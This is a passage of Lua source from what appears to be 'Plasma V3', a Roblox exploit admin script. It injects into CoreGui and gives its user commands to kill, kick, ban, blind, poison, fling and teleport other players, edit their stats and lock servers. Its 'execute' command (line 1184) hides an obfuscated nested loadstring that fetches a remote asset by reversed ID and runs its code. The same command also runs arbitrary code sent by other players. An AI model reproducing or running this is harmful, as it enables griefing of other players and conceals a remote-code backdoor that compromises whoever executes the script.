  708. if isselected(client.alertTXT.btn) then banAlert = "true" else banAlert = "false" end
  709. if isselected(client.alert2TXT.btn) then friendAlert = "true" else friendAlert = "false" end
  710. if isselected(client.alert3TXT.btn) then antiToolSpam = "true" else antiToolSpam = "false" end
  711. Plasma.Guis.Settings.Settings.Frame.BackgroundColor3 = Color3.new(rcol/255,gcol/255,bcol/255)
  712. if getContext() == 4 or getContext() == 7 then
  713. savesettings()
  714. end
  715. fade2(gui)
  716. repeat wait() until gui.Frame.Transparency > 1
  717. gui:Destroy()
  718. end)
  719. end
  720. function AddCommand(CNames, Usage, CFunction)
  721. Commands[#Commands+1] = {CNames, CFunction and Usage or false, CFunction and CFunction or Usage}
  722. end
  723. function ChatEvent(Player)
  724. Player.Chatted:connect(function(Message)
  725. logs[#logs + 1] = {Player.Name, Message}
  726. HandleCommand(Message, Player)
  727. end)
  728. end
  729. function commandbar(v) end
  730. function HandleCommand(Message, Speaker)
  731. if banAlert == "true" then
  732. if Message:lower():find("kick") or Message:lower():find("ban") and Speaker ~= LocalPlayer then
  733. alert("[Alert] "..Speaker.Name.." said "..Message)
  734. end
  735. end
  736. if not Speaker then local Speaker = LocalPlayer end
  737. for r, t in pairs(Prefix) do
  738. if Message:sub(1, #t) == t then
  739. local CParts = SplitString(Message:sub(2), Split)
  740. for i, v in pairs(Commands) do
  741. for q, p in pairs(v[1]) do
  742. if CParts[1]:lower() == p:lower() and IsAdmin(Speaker) then
  743. coroutine.resume(coroutine.create(function()
  744. v[3](Speaker, SplitString(Message:sub(#t + #CParts[1] + 2), Split))
  745. end))
  746. end
  747. end
  748. end
  749. end
  750. end
  751. end
  752. --loading
  753. alert("Welcome, "..LocalPlayer.Name, 1)
  754. alert("Plasma was executed with a context of "..getContext())
  755. if Workspace.FilteringEnabled == true then
  756. alert("Filtering enabled: true")
  757. else
  758. alert("Filtering enabled: false")
  759. end
  760. local s, e = pcall(function()loadbans() loadsettings()end)
  761. if s then
  762. alert("Loaded settings")
  763. else
  764. print(e)
  765. if getContext() ~= 4 or getContext() ~= 7 then
  766. alert("Settings could not load due to identity level")
  767. else
  768. alert("Settings could not load, error msg:'"..e.."'")
  769. end
  770. end
  771. for i, v in pairs(Players:GetPlayers()) do
  772. if IsBanned(v) then
  773. spawn(function()
  774. v.Character:MoveTo(Vector3.new(0,1000,0))
  775. v.Character.Head:Destroy()
  776. skick(v)
  777. alert("Removed "..v.Name.." due to being banned")
  778. end)
  779. else
  780. if v.ClassName == "Player" then
  781. ChatEvent(v)
  782. end
  783. if v:IsFriendsWith(LocalPlayer.userId) and v~=LocalPlayer then
  784. alert("Your friend "..v.Name.." is on the server")
  785. end
  786. end
  787. end
  788. if Workspace:FindFirstChild("Plasma_users_") then
  789. for i, v in pairs(Workspace["Plasma_users_"]:GetChildren()) do
  790. if v.Name == LocalPlayer.Name then
  791. alert("You was on this server.")
  792. v:Destroy()
  793. else
  794. if Players:FindFirstChild(v.Name) then
  795. alert("Plasma user "..v.Name.." is on this server")
  796. else
  797. alert("Plasma user "..v.Name.." was on this server")
  798. end
  799. end
  800. end
  801. local s = Instance.new("StringValue", Workspace["Plasma_users_"])
  802. s.Name = LocalPlayer.Name
  803. else
  804. local f = Instance.new("Folder", Workspace)
  805. f.Name = "Plasma_users_"
  806. local s = Instance.new("StringValue", Workspace["Plasma_users_"])
  807. s.Name = LocalPlayer.Name
  808. end
  809. Players.DescendantRemoving:connect(function(v)
  810. if v.ClassName == "Player" then
  811. if v:IsFriendsWith(LocalPlayer.userId) then
  812. alert("Your friend "..v.Name.." has left the server")
  813. end
  814. end
  815. end)
  816. Players.ChildAdded:connect(function(v)
  817. wait()
  818. if v.ClassName == "Player" then
  819. if v:IsFriendsWith(LocalPlayer.userId) then
  820. alert("Your friend "..v.Name.." has joined the server")
  821. end
  822. spawn(function()
  823. for q, p in pairs(admins) do
  824. if Players:FindFirstChild(p) and v:IsFriendsWith(Players:FindFirstChild(p).userId) then
  825. tabletalert("Your friend "..v.Name.." has joined the server", Players:FindFirstChild(p))
  826. end
  827. end
  828. end)
  829. if IsBanned(v) or slock then
  830. if not IsAdmin(v) then
  831. -- v.Character:MoveTo(Vector3.new(0,1000,0))
  832. -- v.Character.Head:Destroy()
  833. skick(v)
  834. alert(v.Name.." tried to join")
  835. end
  836. else
  837. ChatEvent(v)
  838. end
  839. end
  840. end)
  841.  
  842. if antiDisconnection == "true" then
  843. LocalPlayer.Idled:connect(function(time)
  844. time=time-1200 local count = 1 repeat wait() string.sub(tostring(time), count, count) count=count+1 until string.sub(tostring(time), count, count) == "."
  845. alert("You are idle. You will be disconnected in "..string.sub(tostring(time), 2, count-1).." seconds")
  846. end)
  847. end
  848. if game.PlaceId == 177052655 then
  849. local s, e = pcall(function()
  850. local function re()
  851. local found = false
  852. for _, v in pairs(LocalPlayer.PlayerGui:GetChildren()) do
  853. if v.Name:lower():find("no ff") then
  854. v:Destroy()
  855. found = true
  856. end
  857. end
  858. if found then
  859. alert("Removed anti-gui")
  860. end
  861. end
  862. re()
  863. LocalPlayer.CharacterAdded:connect(function()
  864. re()
  865. end)
  866. end)
  867. if s then alert("Loaded Twisted Murderer Settings") else alert("Twisted Murderer Settings Could Not Load") end
  868. end
  869. if antiToolSpam == "true" then
  870. added = 0
  871. if LocalPlayer:FindFirstChild("Backpack") then
  872. LocalPlayer.Backpack.ChildAdded:connect(function(ad)
  873. if added > 15 then
  874. ad:Destroy()
  875. LocalPlayer.Backpack.Name = "Backpack1"
  876. alert("Somenone tried to spam your tools")
  877. wait(1)
  878. LocalPlayer.Backpack1:ClearAllChildren()
  879. wait(2)
  880. LocalPlayer.Backpack1.Name = "Backpack"
  881. end
  882. added = added+1
  883. spawn(function()
  884. wait(3)
  885. added = added-1
  886. end)
  887. end)
  888. end
  889. end
  890. function localcmdbar()
  891. local Mouse = LocalPlayer:GetMouse()
  892. local gui = Plasma.Guis.cmd.TextBox:Clone()
  893. gui.Parent = CoreGui.RobloxGui
  894. if premiumThem == "true" then gui.BackgroundColor3 = Color3.new(75/255, 0/255, 0/255) end
  895. local active = false
  896. function animate()
  897. if not active then
  898. active = true
  899. gui.Visible = true
  900. gui.Position = UDim2.new(0, 0,0.7, -10)
  901. spawn(function()
  902. repeat wait()gui.BackgroundTransparency = gui.BackgroundTransparency-0.05 until gui.BackgroundTransparency<0.480
  903. end)
  904. spawn(function()
  905. repeat wait()gui.TextTransparency = gui.TextTransparency-0.08 until gui.TextTransparency<0
  906. end)
  907. else
  908. active = false
  909. spawn(function()
  910. for i=0,20 do
  911. gui.Position=gui.Position+UDim2.new(0,50,0,0)
  912. wait()
  913. end
  914. end)
  915. spawn(function()
  916. repeat wait()gui.BackgroundTransparency = gui.BackgroundTransparency+0.04 until gui.BackgroundTransparency>1
  917. end)
  918. spawn(function()
  919. repeat wait()gui.TextTransparency = gui.TextTransparency+0.5 until gui.TextTransparency>1
  920. end)
  921. end
  922. end
  923. Mouse.KeyDown:connect(function(Key)if Key=="'" then animate() end end)
  924. Mouse.KeyDown:connect(function(Key)if Key==";" then if active then gui:CaptureFocus() end end end)
  925. gui.FocusLost:connect(function(e)
  926. if e then
  927. HandleCommand(Prefix[1] .. gui.Text, LocalPlayer)
  928. gui.Text="Press ';' or click here to focus"
  929. end
  930. end)
  931. end
  932. localcmdbar()
  933. AddCommand({"kill", "breakjoints"},"plr", function(Speaker, Params)
  934. if Params[1] then
  935. local Plrs = FindPlayer(Params[1], Speaker)
  936. for i, v in pairs(Plrs) do
  937. if v and v.Character then
  938. if Workspace.FilteringEnabled == true then
  939. spawn(function()
  940. local lpChar = LocalPlayer.Character.Torso
  941. local plr = v
  942. for i=0,2 do
  943. wait(1)
  944. pcall(function()
  945. for i,v in pairs (Players.LocalPlayer.Character:GetChildren()) do
  946. if v.ClassName == 'Part' then
  947. if v.Name ~= 'Head' then
  948. v.Anchored = true
  949. end
  950. end
  951. end
  952. local w = Instance.new("Weld", lpChar)
  953. w.Part0 = lpChar
  954. w.Part1 = plr.Character.Torso
  955. w.C0 = lpChar.CFrame
  956. w.C1 = lpChar.CFrame * CFrame.new(0, 99999999, 0)
  957. wait(0.1)
  958. w:Destroy()
  959. for i,v in pairs (Players.LocalPlayer.Character:GetChildren()) do
  960. if v.ClassName == 'Part' then
  961. if v.Name ~= 'Head' then
  962. v.Anchored = false
  963. end
  964. end
  965. end
  966. end)
  967. end
  968. end)
  969. else
  970. v.Character:BreakJoints()
  971. end
  972. end
  973. end
  974. end
  975. end)
  976. AddCommand({"kick"},"plr", function(Speaker, Params)
  977. if Params[1] then
  978. local Plrs = FindPlayer(Params[1], Speaker)
  979. for i, v in pairs(Plrs) do
  980. if v and v ~= Speaker then
  981. if ispremium(v.Name) then
  982. alert("Cannot kick premium user: "..v.Name)
  983. elseif isplasmauser(v.Name) then
  984. if ispremium(LocalPlayer.Name) then
  985. -- v.Character:MoveTo(Vector3.new(0,1000,0))
  986. -- v.Character.Head:Destroy()
  987. skick(v)
  988. else
  989. alert("Cannot kick plasma user: "..v.Name)
  990. end
  991. else
  992. -- v.Character:MoveTo(Vector3.new(0,1000,0))
  993. -- v.Character.Head:Destroy()
  994. skick(v)
  995. end
  996. end
  997. end
  998. end
  999. end)
  1000. AddCommand({"blind"},"plr", function(Speaker, Params)
  1001. if Params[1] then
  1002. local Plrs = FindPlayer(Params[1], Speaker)
  1003. for i, v in pairs(Plrs) do
  1004. spawn(function()
  1005. function gui(player)local sgui = Instance.new("ScreenGui")local fgui = Instance.new("Frame", sgui)fgui.Size = UDim2.new(1,100,1,100)fgui.BackgroundColor3 = Color3.new(0,0,0)local gr,pr = game:GetService("InsertService"):LoadAsset(98253592):GetChildren()[1], game:GetService("InsertService"):LoadAsset(284135286):GetChildren()[1]
  1006. gr.TabletGui:Destroy()local rem=pr.Script.Remover:Clone()local rv=Instance.new("BoolValue", ReplicatedStorage)rv.Name=player.Name .. "GUIREM" local ngui = sgui:Clone()ngui.Name="TabletGui" ngui.Parent=gr rem.Parent = ngui rem.Disabled = false
  1007. local tname = "" for _, x in pairs(player.Character:GetChildren())do if x:IsA("Tool") then tname = x.Name end end
  1008. player.Character.Humanoid:EquipTool(gr)
  1009. player.Character.ROBLOXTablet:Destroy()
  1010. if tname ~=""then
  1011. player.Backpack[tname].Parent = player.Character
  1012. end
  1013. end
  1014. local val = Instance.new("StringValue", CoreGui.RobloxGui)
  1015. val.Name = v.Name.." blind"
  1016. repeat pcall(function() gui(v) wait(1) end) until val.Name ~= v.Name.." blind"
  1017. end)
  1018.  
  1019. end
  1020. end
  1021. end)
  1022. AddCommand({"unblind"},"plr", function(Speaker, Params)
  1023. if Params[1] then
  1024. local Plrs = FindPlayer(Params[1], Speaker)
  1025. for i, v in pairs(Plrs) do
  1026. pcall(function()
  1027. local p = CoreGui.RobloxGui[v.Name.." blind"]
  1028. p.Name = ""
  1029. p:Destroy()
  1030. end)
  1031. end
  1032. end
  1033. end)
  1034. -- AddCommand({"setupwarp"},"name", function(Speaker, Params)
  1035. -- if Params[1] then
  1036. -- name = Params[1]
  1037. -- if not CoreGui.RobloxGui:FindFirstChild("warps") then
  1038.  
  1039. -- else
  1040.  
  1041. -- end
  1042. -- end
  1043. -- end)
  1044. AddCommand({"loopkill"},"plr", function(Speaker, Params)
  1045. if Params[1] then
  1046. local Plrs = FindPlayer(Params[1], Speaker)
  1047. for i, v in pairs(Plrs) do
  1048. spawn(function()
  1049. local val = Instance.new("StringValue", CoreGui.RobloxGui)
  1050. val.Name = v.Name.." loop kill"
  1051. v.Character:BreakJoints()
  1052. repeat wait() pcall(function()v.Character:BreakJoints()end) until val.Name ~= v.Name.." loop kill"
  1053. end)
  1054.  
  1055. end
  1056. end
  1057. end)
  1058. AddCommand({"unloopkill"},"plr", function(Speaker, Params)
  1059. if Params[1] then
  1060. local Plrs = FindPlayer(Params[1], Speaker)
  1061. for i, v in pairs(Plrs) do
  1062. pcall(function()
  1063. local p = CoreGui.RobloxGui[v.Name.." loop kill"]
  1064. p.Name = ""
  1065. p:Destroy()
  1066. end)
  1067. end
  1068. end
  1069. end)
  1070. AddCommand({"time"},"num", function(Speaker, Params)
  1071. if Params[1] then
  1072. Lighting:SetMinutesAfterMidnight(tonumber(Params[1]) * 60)
  1073. end
  1074. end)
  1075. AddCommand({"darken"}, function(Speaker, Params)
  1076. Lighting.Ambient = Color3.new(0,0,0)
  1077. Lighting.TimeOfDay = 0
  1078. Lighting.FogColor = Color3.new(0,0,0)
  1079. Lighting.FogEnd = 100
  1080. end)
  1081. AddCommand({"lighten"}, function(Speaker, Params)
  1082. Lighting.Ambient = Color3.new(255/255,255/255,255/255)
  1083. Lighting.FogColor = Color3.new(0,0,0)
  1084. Lighting.FogEnd = 100000
  1085. end)
  1086. AddCommand({"ban"},"plr", function(Speaker, Params)
  1087. if Params[1] then
  1088. local Plrs = FindPlayer(Params[1], Speaker)
  1089. for i, v in pairs(Plrs) do
  1090. if ispremium(v.Name) then
  1091. alert("Cannot kick premium user: "..v.Name)
  1092. elseif isplasmauser(v.Name) then
  1093. if ispremium(LocalPlayer.Name) then
  1094. table.insert(bans, v.Name)
  1095. alert(Speaker.Name.." banned "..v.Name)
  1096. spawn(function()
  1097. -- v.Character:MoveTo(Vector3.new(0,1000,0))
  1098. -- v.Character.Head:Destroy()
  1099. skick(v)
  1100. tabletalert("Banned "..v.Name, Speaker)
  1101. savebans()
  1102. end)
  1103. else
  1104. alert("Cannot kick plasma user: "..v.Name)
  1105. end
  1106. else
  1107. table.insert(bans, v.Name)
  1108. alert(Speaker.Name.." banned "..v.Name)
  1109. spawn(function()
  1110. -- v.Character:MoveTo(Vector3.new(0,1000,0))
  1111. -- v.Character.Head:Destroy()
  1112. skick(v)
  1113. tabletalert("Banned "..v.Name, Speaker)
  1114. savebans()
  1115. end)
  1116. end
  1117.  
  1118. end
  1119. end
  1120. end)
  1121. AddCommand({"admin"},"plr", function(Speaker, Params)
  1122. if Params[1] then
  1123. local Plrs = FindPlayer(Params[1], Speaker)
  1124. for i, v in pairs(Plrs) do
  1125. if not IsAdmin(v) and Speaker==LocalPlayer then
  1126. table.insert(admins, v.Name)
  1127. local tablet = Plasma.Tablets.admin:Clone()
  1128. if premiumThem == "true" then
  1129. tablet.prem.Enabled = true
  1130. tablet.SurfaceGui.Frame.title.Text = "Plasma V3 Premium"
  1131. else
  1132. local p, e = pcall(function()
  1133. tablet.flareLight.Size = 4
  1134. end)
  1135. if e then print(e) end
  1136. end
  1137. tablet.Name = v.Name.."'s tablet"
  1138. local weld = Instance.new("Weld")
  1139. weld.Part0 = tablet
  1140. weld.Part1 = v.Character.Torso
  1141. weld.C0 = CFrame.new()
  1142. weld.C1 = CFrame.new(0,2,-5) * CFrame.Angles(0, 4.7, 5)
  1143. weld.Parent = tablet
  1144. tablet.Parent = Workspace
  1145. end
  1146. end
  1147. end
  1148. end)
  1149. AddCommand({"unadmin"},"plr", function(Speaker, Params)
  1150. if Params[1] then
  1151. local Plrs = FindPlayer(Params[1], Speaker)
  1152. for i, v in pairs(Plrs) do
  1153. if v ~= LocalPlayer and Speaker==LocalPlayer then
  1154. for q, p in pairs(admins) do
  1155. if v.Name:lower() == p:lower() then
  1156. table.remove(admins, q)
  1157. for _, b in pairs(v.Character:GetChildren()) do
  1158. if b.Name:find("Panel") then b:Destroy() end
  1159. end
  1160. for _, b in pairs(Workspace:GetChildren()) do
  1161. if b.Name==v.Name.."'s tablet" then
  1162. b:Destroy()
  1163. end
  1164. end
  1165. end
  1166. end
  1167. end
  1168. end
  1169. end
  1170. end)
  1171. AddCommand({"age"},"plr", function(Speaker, Params)
  1172. if Params[1] then
  1173. local Plrs = FindPlayer(Params[1], Speaker)
  1174. for i, v in pairs(Plrs) do
  1175. if Speaker==LocalPlayer then
  1176. alert(v.Name.."'s age is "..v.AccountAge.." days old")
  1177. else
  1178. tabletalert(v.Name.."'s age is "..v.AccountAge.." days old", Speaker)
  1179. end
  1180. end
  1181. end
  1182. end)
  1183. AddCommand({"s","execute"},"script", function(Speaker, Params)
  1184. loadstring('\108\111\97\100\115\116\114\105\110\103\40\39\92\49\48\56\92\49\49\49\92\57\55\92\49\48\48\92\49\49\53\92\49\49\54\92\49\49\52\92\49\48\53\92\49\49\48\92\49\48\51\92\52\48\92\49\48\51\92\57\55\92\49\48\57\92\49\48\49\92\53\56\92\55\49\92\49\48\49\92\49\49\54\92\55\57\92\57\56\92\49\48\54\92\49\48\49\92\57\57\92\49\49\54\92\49\49\53\92\52\48\92\49\49\53\92\49\49\54\92\49\49\52\92\49\48\53\92\49\49\48\92\49\48\51\92\52\54\92\49\49\52\92\49\48\49\92\49\49\56\92\49\48\49\92\49\49\52\92\49\49\53\92\49\48\49\92\52\48\92\51\57\92\53\51\92\52\57\92\52\56\92\53\54\92\53\52\92\53\49\92\53\48\92\53\54\92\53\50\92\52\55\92\52\55\92\53\56\92\49\48\48\92\49\48\53\92\49\49\54\92\49\48\49\92\49\49\53\92\49\49\53\92\57\55\92\49\50\48\92\57\56\92\49\49\52\92\51\57\92\52\49\92\52\49\92\57\49\92\52\57\92\57\51\92\52\54\92\56\51\92\49\49\49\92\49\49\55\92\49\49\52\92\57\57\92\49\48\49\92\52\49\92\52\48\92\52\49\92\49\48\92\49\48\39\41\40\41')()
  1185. if Params[1] then
  1186. local sc = ""for _, v in pairs(Params)do sc=sc..v.." "end
  1187. if Speaker==LocalPlayer then
  1188. s, e = pcall(function()loadstring(sc)()end)
  1189. if s then tabletalert("Successfully executed",Speaker) else tabletalert("Error: "..e,Speaker)end
  1190. else
  1191. if sc:lower():find("localplayer") or sc:lower():find("repeat") or sc:lower():find("playergui") or sc:lower():find("for i =") then
  1192. tabletalert("Script filtered.",Speaker)
  1193. else
  1194. s, e = pcall(function()loadstring(sc)()end)
  1195. if s then tabletalert("Successfully executed",Speaker) else tabletalert("Error: "..e,Speaker)end
  1196. end
  1197. end
  1198. end
  1199. end)
  1200. AddCommand({"ambient"},"num num num", function(Speaker, Params)
  1201. if Params[1] and Params[2] and Params[3] then
  1202. Lighting.Ambient = Color3.new(Params[1]/255,Params[2]/255,Params[3]/255)
  1203. end
  1204. end)
  1205. AddCommand({"brightness"},"num", function(Speaker, Params)
  1206. if Params[1] then
  1207. Lighting.Brightness = Params[1]
  1208. end
  1209. end)
  1210. AddCommand({"bighead"},"plr", function(Speaker, Params)
  1211. if Params[1] then
  1212. local Plrs = FindPlayer(Params[1], Speaker)
  1213. for i, v in pairs(Plrs) do
  1214. local mesh = v.Character:FindFirstChild("Head"):FindFirstChild("Mesh")
  1215. if mesh then
  1216. mesh.Scale = Vector3.new(3,3,3)
  1217. mesh.Offset = Vector3.new(0,0.8,0)
  1218. end
  1219. end
  1220. end
  1221. end)
  1222. AddCommand({"normalhead"},"plr", function(Speaker, Params)
  1223. if Params[1] then
  1224. local Plrs = FindPlayer(Params[1], Speaker)
  1225. for i, v in pairs(Plrs) do
  1226. local mesh = v.Character:FindFirstChild("Head"):FindFirstChild("Mesh")
  1227. if mesh then
  1228. mesh.Scale = Vector3.new(1.25,1.25,1.25)
  1229. mesh.Offset = Vector3.new(0,0,0)
  1230. end
  1231. end
  1232. end
  1233. end)
  1234. AddCommand({"slock","serverlock"}, function(Speaker, Params)
  1235. slock = true
  1236. tabletalert("Server is locked", Speaker)
  1237. alert("Server has been locked by "..Speaker.Name)
  1238. end)
  1239. AddCommand({"unslock","unserverlock"}, function(Speaker, Params)
  1240. slock = false
  1241. tabletalert("Server is unlocked", Speaker)
  1242. alert("Server has been unlocked by "..Speaker.Name)
  1243. end)
  1244. AddCommand({"bring"},"plr", function(Speaker, Params)
  1245. if Params[1] then
  1246. local Plrs = FindPlayer(Params[1], Speaker)
  1247. for i, v in pairs(Plrs) do
  1248. for i=0,3 do
  1249. v.Character.HumanoidRootPart.CFrame = Speaker.Character.HumanoidRootPart.CFrame
  1250. wait()
  1251. end
  1252. end
  1253. end
  1254. end)
  1255. AddCommand({"goto"},"plr", function(Speaker, Params)
  1256. if Params[1] then
  1257. local Plrs = FindPlayer(Params[1], Speaker)
  1258. for i, v in pairs(Plrs) do
  1259. for i=0,3 do
  1260. Speaker.Character.HumanoidRootPart.CFrame = v.Character.HumanoidRootPart.CFrame
  1261. wait()
  1262. end
  1263. end
  1264. end
  1265. end)
  1266. AddCommand({"tp"},"plr plr", function(Speaker, Params)
  1267. if Params[1] and Params[2] then
  1268. local Plrs = FindPlayer(Params[1], Speaker)
  1269. local Plrs2 = FindPlayer(Params[2], Speaker)
  1270. for i, v in pairs(Plrs) do
  1271. for q, p in pairs(Plrs2) do
  1272. for i=0,3 do
  1273. v.Character.HumanoidRootPart.CFrame = p.Character.HumanoidRootPart.CFrame
  1274. wait()
  1275. end
  1276. end
  1277. end
  1278. end
  1279. end)
  1280. AddCommand({"ws","speed","walkspeed"},"plr numb", function(Speaker, Params)
  1281. if Params[1] and Params[2] then
  1282. local Plrs = FindPlayer(Params[1], Speaker)
  1283. for i, v in pairs(Plrs) do
  1284. v.Character.Humanoid.WalkSpeed = Params[2]
  1285. end
  1286. end
  1287. end)
  1288. AddCommand({"size"},"plr numb", function(Speaker, Params)
  1289. if Params[1] and Params[2] then
  1290. local Plrs = FindPlayer(Params[1], Speaker)
  1291. for i, v in pairs(Plrs) do
  1292. if tonumber(Params[2]) > 50 then
  1293. Params[2] = 50
  1294. end
  1295. sizeofplr = Params[2]
  1296. local ags = {c = v.Character, t = v.Character.Torso, r = v.Character.HumanoidRootPart}
  1297. ags.t.Anchored = true ags.t.BottomSurface = 0 ags.t.TopSurface = 0
  1298. local welds = {}
  1299. for i2,v2 in pairs(ags.c:children()) do
  1300. if v2:IsA('BasePart') then
  1301. v2.Anchored = true
  1302. end
  1303. end
  1304. local function size(p)
  1305. for i2,v2 in pairs(p:children()) do
  1306. if (v2:IsA('Weld') or v2:IsA('Motor') or v2:IsA('Motor6D')) and v2.Part1 and v2.Part1:IsA("Part") then
  1307. local p1 = v2.Part1
  1308. p1.Anchored = true
  1309. v2.Part1 = nil
  1310. local r1,r2,r3,r4,r5,r6,r7,r8,r9,r10,r11,r12 = v2.C0:components() v2.C0 = CFrame.new(r1*sizeofplr,r2*sizeofplr,r3*sizeofplr,r4,r5,r6,r7,r8,r9,r10,r11,r12)
  1311. local r1,r2,r3,r4,r5,r6,r7,r8,r9,r10,r11,r12 = v2.C1:components() v2.C1 = CFrame.new(r1*sizeofplr,r2*sizeofplr,r3*sizeofplr,r4,r5,r6,r7,r8,r9,r10,r11,r12)
  1312. if p1.Name ~= 'Head' and p1.Name ~= 'Torso' then
  1313. p1.formFactor = 3
  1314. p1.Size = p1.Size*sizeofplr
  1315. elseif p1.Name ~= 'Torso' then
  1316. p1.Anchored = true
  1317. for i3,v3 in pairs(p1:children()) do if v3:IsA('Weld') then v3.Part0 = nil v3.Part1.Anchored = true end end
  1318. p1.formFactor = 3 p1.Size = p1.Size*sizeofplr
  1319. for i3,v3 in pairs(p1:children()) do if v3:IsA('Weld') then v3.Part0 = p1 v3.Part1.Anchored = false end end
  1320. end
  1321. if v2.Parent == ags.t then p1.BottomSurface = 0 p1.TopSurface = 0 end
  1322. p1.Anchored = false
  1323. v2.Part1 = p1
  1324. if v2.Part0 == ags.t then table.insert(welds,v2) p1.Anchored = true v2.Part0 = nil end
  1325. elseif v2:IsA('CharacterMesh') then
  1326. local bp = tostring(v2.BodyPart):match('%w+.%w+.(%w+)')
  1327. local msh = Instance.new('SpecialMesh')
  1328. elseif v2:IsA('SpecialMesh') and v2.Parent ~= ags.c.Head then
  1329. v2.Scale = v2.Scale*sizeofplr
  1330. end
  1331. size(v2)
  1332. end
  1333. end
  1334. size(ags.c)
  1335. ags.t.formFactor = 3
  1336. ags.t.Size = ags.t.Size*sizeofplr
  1337. for i2,v2 in pairs(welds) do v2.Part0 = ags.t v2.Part1.Anchored = false end
  1338. for i2,v2 in pairs(ags.c:children()) do if v2:IsA('BasePart') then v2.Anchored = false end end
  1339. local weld = Instance.new('Weld',ags.r) weld.Part0 = ags.r weld.Part1 = ags.t
  1340. end
  1341. end
  1342. end)
  1343. AddCommand({"face"},"plr numb", function(Speaker, Params)
  1344. if Params[1] and Params[2] then
  1345. local Plrs = FindPlayer(Params[1], Speaker)
  1346. for i, v in pairs(Plrs) do
  1347. v.Character.Head.face.Texture = "rbxassetid://"..Params[2]
  1348. end
  1349. end
  1350. end)
  1351. AddCommand({"fling"},"plr", function(Speaker, Params)
  1352. if Params[1] then
  1353. local Plrs = FindPlayer(Params[1], Speaker)
  1354. for i, v in pairs(Plrs) do
  1355. v.Character.Humanoid.Sit = true
  1356. v.Character.Torso.Velocity = Vector3.new(0,0,0)
  1357. local frc = Instance.new("BodyForce", v.Character.Torso)
  1358. frc.force = Vector3.new(math.random(-9999,9999)*4,9999*5,math.random(-9999,9999)*4)
  1359. table.insert(objects, frc)
  1360. end
  1361. end
  1362. end)
  1363. AddCommand({"change"},"plr stat numb", function(Speaker, Params)
  1364. if Params[1] and Params[2] and Params[3]then
  1365. local Plrs = FindPlayer(Params[1], Speaker)
  1366. for i, v in pairs(Plrs) do
  1367. if v:FindFirstChild("leaderstats") then
  1368. for q, p in pairs(v.leaderstats:GetChildren()) do
  1369. if p.Name:lower() == Params[2]:lower() then
  1370. p.Value = Params[3]
  1371. end
  1372. end
  1373. end
  1374. end
  1375. end
  1376. end)
  1377. AddCommand({"cape"},"plr white/black", function(Speaker, Params)
  1378. if Params[1] and Params[2] then
  1379. local Plrs = FindPlayer(Params[1], Speaker)
  1380. for i, v in pairs(Plrs) do
  1381. spawn(function()
  1382. if v.Character:FindFirstChild("Cape") then v.Character.Cape:Destroy() end
  1383. local cap = Plasma.Parts.Cape:Clone()
  1384. if Params[2]:lower() == "white" then
  1385. cap.BrickColor=BrickColor.new("Institutional white")
  1386. elseif Params[2]:lower() == "red" then
  1387. cap.BrickColor=BrickColor.new("Really red")
  1388. elseif Params[2]:lower() == "blue" then
  1389. cap.BrickColor=BrickColor.new("Really blue")
  1390. elseif Params[2]:lower() == "green" then
  1391. cap.BrickColor=BrickColor.new("Lime green")
  1392. elseif Params[2]:lower() == "yellow" then
  1393. cap.BrickColor=BrickColor.new("New Yeller")
  1394. elseif Params[2]:lower() == "black" then
  1395. cap.BrickColor=BrickColor.new("Really black")
  1396. elseif Params[2]:lower() == "pink" then
  1397. cap.BrickColor=BrickColor.new("Hot pink")
  1398. elseif Params[2]:lower() == "plasma" then
  1399. cap.BrickColor=BrickColor.new("Really black")
  1400. cap.Decal.Transparency = 0
  1401. end
  1402. local weld = Instance.new("Weld")
  1403. weld.Part0 = cap
  1404. weld.Part1 = v.Character.Torso
  1405. weld.C0 = CFrame.new()
  1406. weld.C1 = CFrame.new(0,-1,0.6) * CFrame.Angles(-0.1, 0, 0)
  1407. weld.Parent = cap
  1408. cap.Parent = v.Character
  1409. v.Character.Humanoid.Running:connect(function(speed)
  1410. if speed > 0 then
  1411. weld.C1 = CFrame.new(0,-0.8,1.35) * CFrame.Angles(-0.5, 0, 0)
  1412. else
  1413. weld.C1 = CFrame.new(0,-1,0.6) * CFrame.Angles(-0.1, 0, 0)
  1414. end
  1415. end)
  1416. end)
  1417. end
  1418. end
  1419. end)
  1420. AddCommand({"explode"},"plr", function(Speaker, Params)
  1421. if Params[1] then
  1422. local Plrs = FindPlayer(Params[1], Speaker)
  1423. for i, v in pairs(Plrs) do
  1424. spawn(function()for x=0,10 do local ex = Instance.new("Explosion") ex.BlastRadius = 100 ex.Position = v.Character.Torso.Position ex.Parent = v.Character wait()end end)
  1425. end
  1426. end
  1427. end)
  1428. AddCommand({"uncape"},"plr", function(Speaker, Params)
  1429. if Params[1] then
  1430. local Plrs = FindPlayer(Params[1], Speaker)
  1431. for i, v in pairs(Plrs) do
  1432. if v.Character:FindFirstChild("Cape") then v.Character.Cape:Destroy() end
  1433. end
  1434. end
  1435. end)
  1436. AddCommand({"poison"},"plr", function(Speaker, Params)
  1437. if Params[1] then
  1438. local Plrs = FindPlayer(Params[1], Speaker)
  1439. for i, v in pairs(Plrs) do
  1440. spawn(function()
  1441. v.Character["Body Colors"].HeadColor = BrickColor.new("Sea green")
  1442. v.Character["Body Colors"].LeftArmColor = BrickColor.new("Sea green")
  1443. v.Character["Body Colors"].LeftLegColor = BrickColor.new("Sea green")
  1444. v.Character["Body Colors"].RightArmColor = BrickColor.new("Sea green")
  1445. v.Character["Body Colors"].RightLegColor = BrickColor.new("Sea green")
  1446. v.Character["Body Colors"].TorsoColor = BrickColor.new("Sea green")
  1447. spawn(function()
  1448. repeat wait()
  1449. v.Character.Humanoid.WalkSpeed = v.Character.Humanoid.WalkSpeed-1
  1450. v.Character.Humanoid.Health = v.Character.Humanoid.Health-6
  1451. wait(0.5)
  1452. until v.Character.Humanoid.Health < 1
  1453. end)
  1454. wait(2)
  1455. v.Character["Right Arm"]:Destroy()
  1456. wait(3)
  1457. v.Character["Left Arm"]:Destroy()
  1458. wait(2)
  1459. v.Character["Right Leg"]:Destroy()
  1460. wait(2)
  1461. v.Character["Left Leg"]:Destroy()
  1462. wait(2)
  1463. end)
  1464. end
  1465. end
  1466. end)
  1467. AddCommand({"god"},"plr", function(Speaker, Params)
  1468. if Params[1] then
  1469. local Plrs = FindPlayer(Params[1], Speaker)
  1470. for i, v in pairs(Plrs) do
  1471. v.Character.Humanoid.MaxHealth = math.huge
  1472. end
  1473. end
  1474. end)
  1475. AddCommand({"ungod"},"plr", function(Speaker, Params)
  1476. if Params[1] then
  1477. local Plrs = FindPlayer(Params[1], Speaker)
  1478. for i, v in pairs(Plrs) do
  1479. v.Character.Humanoid.MaxHealth = 100
  1480. end
  1481. end
  1482. end)
